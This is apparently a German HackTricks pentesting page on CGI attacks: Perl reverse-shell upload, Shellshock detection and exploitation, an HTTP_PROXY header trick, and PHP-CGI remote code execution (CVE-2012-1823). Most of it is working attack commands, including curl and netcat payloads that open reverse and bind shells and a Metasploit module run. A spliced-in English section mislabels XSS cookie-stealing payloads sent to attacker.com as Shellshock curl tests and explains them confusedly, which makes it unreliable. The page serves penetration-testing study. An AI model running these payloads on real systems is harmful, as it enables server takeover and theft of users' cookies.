CGI

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Informationen

Die CGI-Skripte sind Perl-Skripte, daher können Sie, wenn Sie einen Server kompromittiert haben, der .cgi-Skripte ausführen kann, eine Perl-Reverse-Shell hochladen (/usr/share/webshells/perl/perl-reverse-shell.pl), die Erweiterung von .pl in .cgi ändern, Ausführungsberechtigungen vergeben (chmod +x) und die Reverse-Shell über den Webbrowser aufrufen, um sie auszuführen. Um nach CGI-Schwachstellen zu suchen, wird empfohlen, nikto -C all (und alle Plugins) zu verwenden.

ShellShock

ShellShock ist eine Sicherheitslücke, die die weit verbreitete Bash-Befehlszeilenshell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Sicherheitslücke liegt in der Manipulation von Umgebungsvariablen, die dynamische benannte Werte sind, die sich darauf auswirken, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie bösartigen Code an Umgebungsvariablen anhängen, der beim Empfang der Variable ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren.

Bei der Ausnutzung dieser Sicherheitslücke könnte die Seite einen Fehler anzeigen.

Sie könnten diese Sicherheitslücke feststellen, indem Sie feststellen, dass eine alte Apache-Version und cgi_mod (mit cgi-Ordner) verwendet wird oder indem Sie nikto verwenden.

Test

Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn Sie vermuten, dass eine Seite anfällig sein könnte, suchen Sie nach allen CGI-Seiten und testen Sie diese.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflektiert, blind und out-of-band)

Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will explore three types of attacks using Curl: reflected, blind, and out-of-band attacks.

Reflected Attacks

Reflected attacks occur when user input is directly included in the response of a web application. This can happen when the application does not properly sanitize or validate user input before including it in the response. To perform a reflected attack using Curl, you can use the following command:

curl "http://example.com/page?param=<script>alert('XSS')</script>"

In this command, the user input <script>alert('XSS')</script> is included in the param parameter of the URL. When the web application processes this request and includes the user input in the response, the JavaScript code will be executed, resulting in an XSS (Cross-Site Scripting) vulnerability.

Blind Attacks

Blind attacks occur when user input is included in the response of a web application, but the response does not directly reveal the result of the attack. This can happen when the application processes the user input in the background and does not display the result to the user. To perform a blind attack using Curl, you can use the following command:

curl "http://example.com/page?param=<script>document.location='http://attacker.com/?cookie='+document.cookie</script>"

In this command, the user input <script>document.location='http://attacker.com/?cookie='+document.cookie</script> is included in the param parameter of the URL. When the web application processes this request, it will send the user's cookie to the attacker's website without the user's knowledge.

Out-of-Band Attacks

Out-of-band attacks occur when user input is included in the response of a web application, and the attacker can receive the result of the attack through a different channel. This can happen when the application makes external requests or sends data to a different server. To perform an out-of-band attack using Curl, you can use the following command:

curl "http://example.com/page?param=<img src='http://attacker.com/collect.php?data='+document.cookie>"

In this command, the user input <img src='http://attacker.com/collect.php?data='+document.cookie> is included in the param parameter of the URL. When the web application processes this request, it will send the user's cookie to the attacker's server by loading the image from the attacker's website.

By understanding and exploiting these types of attacks, you can identify and mitigate vulnerabilities in web applications.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Ausnutzen

Exploits sind speziell entwickelte Angriffscodes oder Techniken, die Schwachstellen in einer Software oder einem System ausnutzen, um unautorisierten Zugriff zu erlangen oder bestimmte Aktionen auszuführen. Beim Pentesting werden Exploits verwendet, um Sicherheitslücken zu identifizieren und zu demonstrieren, wie ein Angreifer diese ausnutzen könnte.

Es gibt verschiedene Arten von Exploits, die in verschiedenen Szenarien eingesetzt werden können. Einige gängige Exploit-Typen sind:

  • Pufferüberlauf: Diese Art von Exploit nutzt eine Schwachstelle in der Verarbeitung von Pufferdaten aus, um schädlichen Code einzuschleusen und auszuführen.

  • SQL-Injection: Bei dieser Art von Exploit werden SQL-Befehle in eine Anwendung eingeschleust, um unautorisierten Zugriff auf die Datenbank zu erlangen oder Daten zu manipulieren.

  • Remote-Code-Ausführung: Diese Art von Exploit ermöglicht es einem Angreifer, schädlichen Code auf einem entfernten System auszuführen und die Kontrolle über das System zu übernehmen.

  • Cross-Site-Scripting (XSS): Bei dieser Art von Exploit wird schädlicher Code in eine Webseite eingeschleust, um Benutzerdaten zu stehlen oder bösartige Aktionen im Namen des Benutzers auszuführen.

Es ist wichtig zu beachten, dass Exploits nur in legalen und autorisierten Umgebungen eingesetzt werden sollten, wie z.B. während eines Pentests. Der unautorisierte Einsatz von Exploits kann zu rechtlichen Konsequenzen führen.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM für Webserver-Anfragen)

CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel wird "host:web.com" als "HTTP_HOST"="web.com" erstellt.

Da die Variable HTTP_PROXY vom Webserver verwendet werden kann, versuchen Sie, einen Header zu senden, der "Proxy: <IP_Angreifer>:<PORT>" enthält. Wenn der Server während der Sitzung eine Anfrage durchführt, können Sie jede Anfrage erfassen, die vom Server gestellt wird.

Altes PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Grundsätzlich können Sie bei aktiver CGI und "altem" PHP (<5.3.12 / < 5.4.2) Code ausführen. Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden (insbesondere ohne das Zeichen "=" zu senden). Um diese Schwachstelle zu testen, können Sie beispielsweise auf /index.php?-s zugreifen (beachten Sie das -s), und der Quellcode der Anwendung wird in der Antwort angezeigt.

Um dann RCE zu erlangen, können Sie diese spezielle Abfrage senden: /?-d allow_url_include=1 -d auto_prepend_file=php://input und den PHP-Code, der im **Body der Anfrage ausgeführt werden soll. Beispiel:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Weitere Informationen zur Schwachstelle und möglichen Exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Beispiel.

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated